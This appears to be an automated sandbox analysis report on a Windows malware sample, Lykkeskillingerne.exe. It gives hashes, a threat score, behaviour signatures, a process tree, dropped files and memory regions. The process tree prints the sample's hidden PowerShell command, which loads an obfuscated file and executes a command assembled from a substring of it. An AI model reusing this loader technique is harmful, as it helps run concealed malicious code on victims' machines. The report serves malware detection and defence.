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Analysis

  • max time kernel
    94s
  • max time network
    102s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/09/2024, 15:02

General

  • Target

    Lykkeskillingerne.exe

  • Size

    517KB

  • MD5

    a61d199b40c46ea1e0b9bb6f12165881

  • SHA1

    9ce4221b5c7d8a67ba54b0709d5bbcc893ceed02

  • SHA256

    c4f370cc453d04a84606b36451353fe65c56a5e758b2c138a23fc3741d7f4df9

  • SHA512

    11274f2ea8c4c181e4a0163a947e7d893697db2b0dcb7a280e3a0e37059bb4d02998c0d32b1cc84084fe8e7d9684cec21da708ccefe0628711053626a09beb85

  • SSDEEP

    12288:WZGcVEfEyolcupbbn6/tT9XfSJ37tdrQW:WZbSfEyolpb6FTM7dr9

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Lykkeskillingerne.exe
    "C:\Users\Admin\AppData\Local\Temp\Lykkeskillingerne.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:548
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Jordomsejling=Get-Content 'C:\Users\Admin\AppData\Local\Detenterne\Chiriguano.Wea';$Materiarian=$Jordomsejling.SubString(55684,3);.$Materiarian($Jordomsejling)
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2676
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2676 -s 2720
        3⤵
        • Program crash
        PID:4672
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2676 -ip 2676
    1⤵
      PID:3912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Detenterne\Chiriguano.Wea

      Filesize

      54KB

      MD5

      5a15c80c43773c2a95864ddce4db60f3

      SHA1

      7e1c9b6e38b52be2b7be175762dfd0e0d1b13b03

      SHA256

      2378274984d8afb8a08a1c7c2c657d6fe39d060607daeed2a021058794e0201c

      SHA512

      55469a4612b9db7a1d4f46f0c04b3e165de687cd51e0193fdc4adeccd4cc241935cf1f5a7db54f159afb03ca618787718a3eaedb50f80b265ebf91903bdd2369

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgmgvt4x.tca.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2676-22-0x00000000058C0000-0x0000000005C14000-memory.dmp

      Filesize

      3.3MB

    • memory/2676-23-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

      Filesize

      120KB

    • memory/2676-10-0x0000000005650000-0x0000000005672000-memory.dmp

      Filesize

      136KB

    • memory/2676-12-0x0000000005760000-0x00000000057C6000-memory.dmp

      Filesize

      408KB

    • memory/2676-11-0x00000000056F0000-0x0000000005756000-memory.dmp

      Filesize

      408KB

    • memory/2676-9-0x0000000005020000-0x0000000005648000-memory.dmp

      Filesize

      6.2MB

    • memory/2676-6-0x000000007465E000-0x000000007465F000-memory.dmp

      Filesize

      4KB

    • memory/2676-8-0x0000000074650000-0x0000000074E00000-memory.dmp

      Filesize

      7.7MB

    • memory/2676-24-0x0000000005F10000-0x0000000005F5C000-memory.dmp

      Filesize

      304KB

    • memory/2676-25-0x0000000006E80000-0x0000000006F16000-memory.dmp

      Filesize

      600KB

    • memory/2676-26-0x0000000006410000-0x000000000642A000-memory.dmp

      Filesize

      104KB

    • memory/2676-27-0x0000000006430000-0x0000000006452000-memory.dmp

      Filesize

      136KB

    • memory/2676-28-0x00000000074D0000-0x0000000007A74000-memory.dmp

      Filesize

      5.6MB

    • memory/2676-7-0x0000000002900000-0x0000000002936000-memory.dmp

      Filesize

      216KB

    • memory/2676-30-0x0000000008100000-0x000000000877A000-memory.dmp

      Filesize

      6.5MB

    • memory/2676-31-0x0000000074650000-0x0000000074E00000-memory.dmp

      Filesize

      7.7MB